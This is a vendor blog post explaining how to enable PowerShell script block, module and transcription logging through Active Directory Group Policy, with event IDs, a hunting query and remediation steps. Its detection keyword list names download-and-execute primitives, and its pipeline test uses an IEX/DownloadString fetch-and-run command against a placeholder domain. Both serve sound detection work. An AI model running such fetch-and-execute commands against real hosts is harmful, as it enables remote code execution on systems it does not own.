🏢Active DirectoryGPOMonitoringCompliance

PowerShell Script Block Logging Active Directory GPO: What You're Missing

Most Active Directory environments still leave PowerShell script block, module, and transcription logging off by default — the three GPO settings that make fileless PowerShell tradecraft visible instead of invisible.

Younes AZABARBy Younes AZABAR9 min read
PowerShell Script Block Logging Active Directory GPO: What You're Missing

What Is PowerShell Script Block Logging (and Why It's One of Three Settings, Not One)

PowerShell script block logging Active Directory GPO settings are, along with module logging and transcription, among the highest-value detection controls most Windows environments still leave off by default. Script block logging itself is a Group Policy-controlled setting that writes the full text of every PowerShell script block executed on a machine — including code that was obfuscated or dynamically generated — directly to the Windows event log. Together, the three settings are the difference between having a forensic record of what ran on a host and having nothing but a gap where an incident used to be.

This matters more than the catalogue severity suggests. So much modern post-exploitation tradecraft is fileless: it runs entirely in memory via PowerShell, leaving no executable on disk for antivirus or EDR file scanning to catch (Malwarebytes / ThreatDown on the Black Basta PowerShell-to-Cobalt-Strike loader). Without these three GPO settings, that activity is effectively invisible to your SIEM.

PowerShell Script Block Logging Active Directory GPO: How the Three Settings Work

All three live under the same Group Policy path — the same object class covered in our guide to GPO misconfigurations as an attack vector, since a mislinked or overridden GPO here means "enabled" only on paper:

Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
SettingGPO NameRegistry KeyEvent Source
Script Block LoggingTurn on Script Block LoggingHKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggingEnableScriptBlockLogging (DWORD)Event ID 4104
Module LoggingTurn on Module LoggingHKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLoggingEnableModuleLogging (DWORD) + ModuleNamesEvent ID 4103
TranscriptionTurn on PowerShell TranscriptionHKLM\Software\Policies\Microsoft\Windows\PowerShell\TranscriptionEnableTranscripting (DWORD)Text files, not the event log

Script Block Logging (Event ID 4104)

When enabled, every script block PowerShell parses — including one that was Base64-encoded or built at runtime via string concatenation — is logged to Microsoft-Windows-PowerShell/Operational as event ID 4104, with the de-obfuscated content included. This is the single most valuable of the three settings, because it defeats simple obfuscation: the attacker's script may look unreadable on the wire, but PowerShell has to decode it to run it, and that's the moment script block logging captures (TrustedSec, "Building a Detection Foundation Part 3: PowerShell and Script Logging").

There is a second, optional layer inside the same policy: Log script block invocation start/stop events, which additionally emits event IDs 4105 and 4106 for every block that begins and finishes executing. This is verbose-level, off by default even when script block logging itself is on, and generates enough volume that most environments intentionally leave it disabled fleet-wide.

$path = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord

Module Logging (Event ID 4103)

Module logging records pipeline execution details for the modules you specify — cmdlet invocations, parameters, and pipeline object output — as event ID 4103. It has existed since PowerShell 3.0 as the LogPipelineExecutionDetails property on a module; the GPO is just the fleet-wide way to flip it. It is disabled by default for every built-in module (Microsoft Learn, about_Group_Policy_Settings). In the GPO's Show… dialog you list which module names to log; using * covers all modules, which is what most environments should do — logging only a handpicked module list creates a blind spot the moment an attacker uses anything outside it.

Transcription (no event ID — flat files)

Transcription is different in kind: instead of writing to the event log, it writes a plain-text transcript of every PowerShell input and output to a file, similar to running Start-Transcript on every session automatically. Configure OutputDirectory to a central, access-restricted UNC share rather than leaving it at the per-user default, and enable Include invocation headers so each command is timestamped. Because transcripts are files on disk (or on a share), they're a distinct forensic source from the event log and survive independently if an attacker clears Windows event logs.

Why This Is a Detection Gap, Not Just a Compliance Checkbox

Frameworks like Empire and Cobalt Strike execute their PowerShell stagers and post-exploitation modules entirely in memory. Splunk's detection research team built a specific analytic for this exact scenario — detecting Empire via PowerShell script block logging — precisely because, without 4104 events, Empire's in-memory execution leaves nothing else to hunt on the host. Process creation logging (event ID 4688) will show powershell.exe launching, but the command line alone is often truncated, encoded, or wrapped in enough obfuscation that the what — the actual code that ran — is only recoverable from the deobfuscated script block content that 4104 provides (Splunk, "Hunting for Malicious PowerShell using Script Block Logging").

For a concrete example: ThreatDown's analysis of a Black Basta intrusion found the initial PowerShell stager layering multiple rounds of Base64 encoding, compression, and encryption specifically to defeat static inspection, before it injected a Cobalt Strike beacon directly into memory (ThreatDown, "How Black Basta Used PowerShell to Set Up a Cobalt Strike Beacon"). None of that chain touches disk in a way traditional antivirus signatures catch — script block logging is what turns the encoded blob back into readable PowerShell in your event log, after PowerShell itself has already done the decoding work for you.

Put simply: with all three settings off, an attacker running an encoded in-memory PowerShell loader leaves a process-creation event and nothing else. With them on, the same attack leaves a decoded script block, the module pipeline it touched, and a text transcript of what it did.

Detection

For the broader picture of which Windows event IDs actually earn a place in your SIEM, see Active Directory Monitoring: Security Event IDs That Matter. For PowerShell specifically:

IndicatorEvent IDSourceWhat to Look For
Script block content4104Microsoft-Windows-PowerShell/OperationalDeobfuscated script text containing Invoke-Expression, DownloadString, -EncodedCommand, IEX, reflective assembly loading
Script block invocation start/stop4105 / 4106Microsoft-Windows-PowerShell/OperationalOnly present if invocation logging is separately enabled; useful to correlate exact execution timing
Module pipeline execution4103Microsoft-Windows-PowerShell/OperationalCmdlet + parameters for modules outside a host's normal baseline (e.g. Invoke-Mimikatz, Invoke-WMIExec)
Process creation4688Securitypowershell.exe / pwsh.exe with -nop, -w hidden, -enc, or unusually long command lines
Transcript filesn/aConfigured OutputDirectory sharePlain-text session logs correlating to a suspicious 4104 event's timestamp

A minimal hunting query against a Sentinel/KQL-style event table, using the Microsoft-Windows-PowerShell/Operational channel:

Event
| where Channel == "Microsoft-Windows-PowerShell/Operational"
| where EventID in (4104, 4103, 4688)
| where RenderedDescription has_any (
    "Invoke-Expression", "IEX", "DownloadString", "-EncodedCommand",
    "FromBase64String", "Net.WebClient", "-nop", "-w hidden"
  )
| project TimeGenerated, Computer, EventID, RenderedDescription
| order by TimeGenerated desc

This is a starting point, not a finished detection: tune the has_any list to your own environment's normal admin tooling, since RSAT modules, backup agents, and EDR agents all show up routinely in 4103 telemetry and will drown a naive rule in false positives. Route the same channel into whatever correlation product you already run — Sentinel, Splunk, or an on-prem SIEM all consume Microsoft-Windows-PowerShell/Operational the same way, so the effort is in tuning, not plumbing.

⚠️

⚠️ Warning: 4104 alone will not surface start/stop timing, and transcription alone will not survive an attacker who disables logging registry keys mid-session with elevated privileges. Treat the three settings as complementary layers, not substitutes for each other.

Remediation

💡

💡 Quick Win: If you enable only one of the three, make it script block logging (4104) — it has the highest detection value for the lowest log volume, since it captures deobfuscated content rather than raw pipeline noise.

  1. Enable Script Block Logging. In a GPO linked to your workstation/server OUs: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on Script Block Logging → Enabled. Leave the start/stop sub-option off unless you have SIEM budget for the extra volume.
  2. Enable Module Logging for all modules. Same GPO path, Turn on Module Logging → Enabled → in Show…, add * so no module is left unlogged.
  3. Enable Transcription with a central output directory. Turn on PowerShell Transcription → Enabled, set OutputDirectory to a write-only UNC share (deny read/delete to standard users), and check Include invocation headers.
  4. Route Microsoft-Windows-PowerShell/Operational to your SIEM. These settings only help if the events leave the host — this is the same audit-policy discipline covered in Active Directory Audit Policy Configuration Gaps: make sure your log forwarding config actually subscribes to this channel, not just Security.
  5. Verify with gpresult and the registry, not just the GPO console — confirm on a sample of member servers and workstations that the policy actually applied (gpresult /h report.html or checking the registry keys above), since GPO link scope and precedence errors are a common reason "enabled" policies never reach the endpoint.
  6. Test the pipeline end-to-end. On a sandboxed test host, run a deliberately flagged but harmless command (for example IEX (New-Object Net.WebClient).DownloadString('http://example.invalid') against a non-resolving domain) and confirm the corresponding 4104 event both appears locally and arrives in your SIEM. A GPO that "applies" but whose events never reach the SIEM is functionally identical to no GPO at all.
  7. Restrict who can edit the GPO and who has local admin. All three settings live in the registry under HKLM; a user with local admin rights can disable them, so scope local admin membership deliberately as part of the same hardening pass. Pair this with unique, rotated local admin credentials — see Windows LAPS Not Deployed — and the wider priority list in Hardening Active Directory: What to Lock Down First.

How EtcSec Detects This

EtcSec's Active Directory audit checks the effective state of all three settings across your domain via the PA038_PS_SCRIPTBLOCK_LOGGING_OFF, PA038_PS_MODULE_LOGGING_OFF, and PA038_PS_TRANSCRIPTION_OFF catalogue entries, plus the broader POWERSHELL_LOGGING_DISABLED check, and flags hosts or GPO scopes where PowerShell activity would run unlogged — the same posture-drift problem covered in Audit Active Directory Security: What to Review First.

ℹ️

ℹ️ Note: EtcSec automatically checks for this vulnerability during every AD audit. Run a free audit to verify your environment isn't leaving PowerShell activity unlogged.

Explore the identity security pages that support this topic